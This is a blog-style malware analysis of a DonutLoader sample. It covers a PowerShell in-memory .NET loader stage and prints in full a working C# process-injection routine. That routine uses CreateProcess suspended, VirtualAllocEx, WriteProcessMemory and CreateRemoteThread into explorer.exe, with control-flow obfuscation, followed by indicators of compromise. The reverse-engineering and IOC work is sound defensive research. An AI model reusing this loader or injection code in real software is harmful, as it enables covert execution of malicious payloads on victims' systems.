DonutLoader Malware Analysis

DonutLoader Malware Analysis

August 9, 2025
Fuad Aliyev
Malware Analysis
Reverse Engineering
Loader

Warning!

This analysis will focus only on DonutLoader dropping files and injecting shellcode into a new process. The shellcode itself is poorly written and doesn't even work (it generates a User Exception).

What is DonutLoader?

Donut is an open-source in-memory injector/loader designed for execution of VBScript, JScript, EXE, DLL files, and .NET assemblies. It was used during attacks against U.S. organizations according to Threat Hunter Team (Symantec) and U.S. Defense contractors (Unit42).

GitHub: https://github.com/TheWover/donut
-Malpedia

Malware Flow

1|700

Start.ps1 Analysis

This is a non-obfuscated, simple payload that uses AES to decrypt bytes and employs a fileless method to invoke the entry point of a .NET 32-bit assembly:

$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl = [System.Security.Cryptography.AesManaged]::Create() $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Mode = [System.Security.Cryptography.CipherMode]::CFB $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126 $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Key = ... $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.IV = ... ... ... ... $mkGojQZagZNcgSCKvDLTRrKszMXjRXS = $CXXPHgQDJiHqCYomtbKDxMBPoWqhryB.ToArray() $DSNsZjfCuypSOuSoVnLNXZWRUAnOwTQ = [System.Reflection.Assembly]::Load(...) $ijgkjszDBpbruCzVYHybVgjVDWVxyVr = $DSNsZjfCuypSOuSoVnLNXZWRUAnOwTQ.EntryPoint $ijgkjszDBpbruCzVYHybVgjVDWVxyVr.Invoke($null, @())

Stub.exe Analysis

The executable contains some simple obfuscations that can be bypassed manually with some common sense. It uses AES again for string decryption - you can simply set a breakpoint at the "return" statement to get the decrypted values.

The main purpose of this component is that it contains the source code of a C# file that will be used for process injection:

AzeroPum Injection Code

using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Threading; namespace AzeroPum { public static class AzeroKick { [DllImport("kernel32.dll", SetLastError = true)] static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation ); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr VirtualAllocEx( IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect ); [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten ); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread( IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId ); [DllImport("kernel32.dll")] static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); [DllImport("kernel32.dll")] static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr hObject); [StructLayout(LayoutKind.Sequential)] struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct STARTUPINFO { public uint cb; public IntPtr lpReserved; public IntPtr lpDesktop; public IntPtr lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public ushort wShowWindow; public ushort cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } public static void AzeroFloid(string path, byte[] bytes) { int controlVar = 7; Random rng = new Random(); // Control flow obfuscation loop while (controlVar > 0) { switch (controlVar) { case 7: if ((DateTime.Now.Ticks % 2) == 0) { controlVar = 4; } else { controlVar = 5; } Thread.Sleep(rng.Next(20, 50)); break; case 4: // Note: rng.Next(0, 100) will never be > 150, so always goes to case 3 if (rng.Next(0, 100) > 150) { controlVar = 6; } else { controlVar = 3; } Thread.Sleep(rng.Next(10, 30)); break; case 5: DummyOperation(); controlVar = 3; break; case 3: controlVar = 2; break; case 2: controlVar = 1; break; case 1: controlVar = 0; break; default: controlVar--; break; } } // Initialize process startup info STARTUPINFO si = new STARTUPINFO(); si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFO)); PROCESS_INFORMATION pi; // Create suspended process (flag 0x4 = CREATE_SUSPENDED) bool created = !(!CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi)); if (!created || pi.hProcess == IntPtr.Zero) { for (int i = 0; i < 3; i++) { Thread.Sleep(10); } return; } // Allocate memory in target process (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE) IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)bytes.Length, 0x3000, 0x40); if (addr == IntPtr.Zero) { CloseHandles(pi); return; } // Write payload bytes to allocated memory IntPtr written; if (!WriteProcessMemory(pi.hProcess, addr, bytes, (uint)bytes.Length, out written) || written == IntPtr.Zero) { CloseHandles(pi); return; } // Create remote thread to execute the payload IntPtr threadId; IntPtr thread = CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out threadId); if (thread == IntPtr.Zero) { CloseHandles(pi); return; } // Wait for thread completion (0xFFFFFFFF = INFINITE) WaitForSingleObject(thread, 0xFFFFFFFF); // Terminate the process bool terminated = TerminateProcess(pi.hProcess, 0); if (!terminated) { Thread.Sleep(50); TerminateProcess(pi.hProcess, 0); } // Clean up handles CloseHandle(thread); CloseHandles(pi); } private static void CloseHandles(PROCESS_INFORMATION pi) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } private static void DummyOperation() { int x = 0; for (int i = 0; i < 5; i++) { x ^= i; x += 2; } if (x % 2 == 0) { x /= 2; } } } }

Decoded Strings and Execution Details

The following strings were decoded during analysis:

  • System.dll
  • System.Core.dll
  • .AzeroPum.AzeroKick
  • AzeroFloid

The malware is invoked using C:\Windows\SysWOW64\explorer.exe along with a payload of bytes (which I saved as shellcode.bin for analysis).

Technical Summary

To simplify the process: the malware creates an explorer.exe process, allocates memory within it, writes the shellcode bytes, and creates a thread starting from the allocated address.

I attempted to unpack the shellcode dynamically, but the shellcode is poorly written and generates a User Exception at some point during execution. Ultimately, I was only able to find one new sample related to DonutLoader (Stub.exe), which is provided in the IOCs section below for anyone who needs to examine it further.

Key Findings

  1. Multi-stage Loader: The malware uses a PowerShell script to decrypt and load a .NET assembly
  2. Process Injection: Employs classic process injection techniques targeting explorer.exe
  3. Control Flow Obfuscation: Uses switch-case statements and random delays to obfuscate execution flow
  4. Faulty Payload: The final shellcode payload is defective and causes exceptions during execution
  5. AES Encryption: Multiple stages use AES encryption to protect embedded payloads

Indicators of Compromise (IOCs)

File Hashes:

Target Process:

  • C:\Windows\SysWOW64\explorer.exe

Assembly Names:

  • AzeroPum
  • AzeroKick

Method Names:

  • AzeroFloid